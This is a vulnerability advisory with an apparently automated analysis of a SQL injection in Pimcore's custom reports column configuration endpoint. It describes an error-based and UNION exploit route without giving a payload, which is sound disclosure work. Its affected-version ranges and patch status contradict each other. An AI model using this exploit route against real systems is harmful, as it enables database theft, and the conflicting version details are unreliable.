Pimcore Vulnerable to SQL Injection in Custom Reports Column Configuration (CVE-2026-44739)
### Summary The columnConfigAction endpoint in the CustomReportsBundle is vulnerable to SQL injection. An attacker with the reports_config permission can supply a malicious SQL configuration that is concatenated into a query and executed. Although the application attempts to filter certain DDL/DML keywords (like UPDATE, DELETE, DROP), it fails to prevent arbitrary SELECT queries, UNION statements, or the use of dangerous database functions. Furthermore, because the application returns database error messages in the JSON response, an attacker can easily exfiltrate data using error-based SQL injection techniques. ### Affected scope bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php CustomReportController:columnConfigAction -> SqlAdapter::getColumns -> SqlAdapter::buildQueryString -> Db::fetchAssociative() ### PoC * Download and install the version Pimcore <=12.3.3 (latest) * Login using Admin account or any account that has reports_config permission * Navigate to custom reports * Capture the request using burp suite and perform SQLi attack as the following 1.

AI Analysis
Technical Summary
The columnConfigAction endpoint in Pimcore's CustomReportsBundle is vulnerable to SQL injection due to unsafe concatenation of user-supplied SQL configuration into queries. Although the application attempts to filter certain DDL/DML keywords, it fails to block arbitrary SELECT queries, UNION statements, and dangerous database functions. The vulnerability allows attackers with reports_config permission to execute arbitrary SQL, including error-based data exfiltration and potentially data modification. The vulnerability affects Pimcore versions <11.5.17 and >=2026.1.0 <2026.1.2.
Potential Impact
Exploitation allows attackers with reports_config permission to exfiltrate sensitive database information and potentially modify or delete data, impacting confidentiality, integrity, and availability of the application. The application’s error messages in JSON responses facilitate error-based SQL injection attacks.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a patch is available, restrict reports_config permissions to trusted users only and monitor for suspicious activity related to custom reports. Avoid exposing the vulnerable endpoint to untrusted users.
